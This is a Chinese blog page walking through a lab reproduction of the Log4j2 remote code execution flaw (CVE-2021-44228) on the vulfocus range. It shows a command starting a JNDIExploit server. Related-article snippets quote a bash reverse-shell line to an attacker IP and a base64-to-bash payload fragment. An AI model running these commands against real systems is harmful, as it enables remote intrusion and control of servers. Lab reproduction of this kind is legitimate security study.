Log4j2远程命令执行（CVE-2021-44228）

最新推荐文章于 2024-03-31 01:35:12 发布
最新推荐文章于 2024-03-31 01:35:12 发布
阅读量1k 收藏 2
点赞数 1
文章标签： java 开发语言 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_48817799/article/details/122680297
版权

Log4j2远程命令执行（CVE-2021-44228）

前言

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。

一、vulfocus靶场

http://vulfocus.io

二、复现步骤

1.靶场如下

11

2.点击抓包

在这里插入图片描述

启动
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 35532 -i 0.0.0.0
在这里插入图片描述
构造payload
URL编码：https://tool.chinaz.com/tools/urlencode.aspx
在这里插入图片描述

方九夜
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
Java 6 将 log4j 升级到 2.3.2 版本，Java 7 将 log4j 升级到 2.12.4 版本，Java 8 或更高版本将 log4j 升级到 2.17.1 版本
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
vulfocus复现：Log4j2远程命令执行（CVE-2021-44228)
m0_71518346的博客
12-17 638
富的特性。该日志框架被大量用于业务Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰系统开发，用来记录日志信息。在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
05-27
整合rmi和ldap服务器+恶意类，使用方法： $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address)
log4j2远程执行代码CVE-2021-44228复现（vulfocus靶场）
最新发布
m0_74294234的博客
03-31 274
bash -i >& /dev/tcp/（你服务器的公网IP地址）/8888（监听的端口号，我这里使用的是8888端口） 0>&1。1：首先打开finalshell或其他本地服务器上传，先创建一个ddd文件夹，并把下载的工具转移到该目录。}|{base64,-d}|{bash,-i}" -A "（你服务器的公网IP地址）"5：打开另一个终端端口并开启监听8888端口（8888端口是你在前面设置的监听端口）这样子就成功监听到端口，先进入tmp目录下，在输入ls可以爆出flag；6:用burpsuite抓包。
JNDI-Injection-Exploit
做你想做的人，没有时间的限制，只要愿意，什么时候都可以start。
12-12 3490
JNDI-Injection-Exploit工具比marshalsec要好用的多，相当于把http服务器和协议服务器放在了一起 github地址 https://github.com/welk1n/JNDI-Injection-Exploit.git 可以下载其release下的安装包 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中: -C - 远程class文件中要执行的命令。
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
今天是几号的博客
04-12 2141
Apache log4j是Apache的一个开源项目，Java的日志记录工具(同logback)。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。 影响范围 Apache Log4j 2.x
[WEB攻防]Apache log4j2 远程代码漏洞（CVE-2021-44228）安鸾靶场复现 +学习过程
AAAAAAAAAAAA66的博客
01-25 1985
中华人民共和国网络安全法(出版物)_360百科 其实搭建好环境，再利用其实很快能复现，但对我来说就是配置各种环境（java ldap 防火墙……）麻烦，另外在网上也没找到write up ，所以只能找一些相关的来学习，虽然走了不少弯路，但也学到不少相关的技巧与知识。 目录 漏洞原理 复现过程 检测 利用 防御方法 总结 漏洞原理 官方： Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。...
Log4j2远程代码执行漏洞（CVE-2021-44228）
wangzhifei1的博客
01-16 1497
CVE-2021-44228，被广泛称为“Log4Shell”，是一个高危的远程代码执行漏洞，影响了Apache Log4j 2，这是一个在Java应用程序中广泛使用的日志记录库。
log4j2 JNDI注入漏洞问题复现
逗神的博客
12-13 4624
log4j2 JNDI注入漏洞问题复现
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2414
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
CVE-2021-22986 F5 BIG-IP-IQ 远程代码执行.md
04-23
CVE-2021-22986 F5 BIG-IP-IQ 远程代码执行
apache stucts 2远程命令执行漏洞 (CVE-2021-31805) poc检测工具
04-21
检测一个url命令为 python3 CVE-2022-22954-POC.py -u http://test.com 检测多个url命令为 python3 CVE-2022-22954-POC.py -f file.txt（把url按一行一个保存到file.txt中） 结果有可能如下
idea中使用log4j2打印日志
热门推荐
ygd1994的专栏
05-24 1万+
先去下载log4j的jar包，将log4j-api-2.8.2.jar和log4j-core-2.8.2.jar导入到lib目录自定义log4j2.xml文件到src目录下 配置文件如下： <?xml version="1.0" encoding="UTF-8"?> <!-- status : 这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,会看到log4j2内
Log4j2远程代码执行漏洞靶场复现（CVE-2021-44228）
没事我溜达
11-02 2129
logger在执行日志的时候，就会执行中间的表达式，如表达式是JNDI就会远程下载文件到本地并执行。
Log4J2远程代码执行漏洞复现（CVE-2021-44228）
box
04-18 8301
Log4J代码执行漏洞复现（CVE-2021-44228） 受影响版本log4j版本：2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1 受影响的应用及组件：Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2、ElasticSearch、Apache Flume、Dubbo、Redis、Logstash、Apache Kafka等 复现环境：java ver
elasticsearch Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)
03-07
elasticsearch和Apache Log4j都存在远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)，攻击者可以利用这些漏洞在受影响的系统上执行任意代码。建议用户尽快更新相关软件版本或采取其他安全措施来保护系统安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值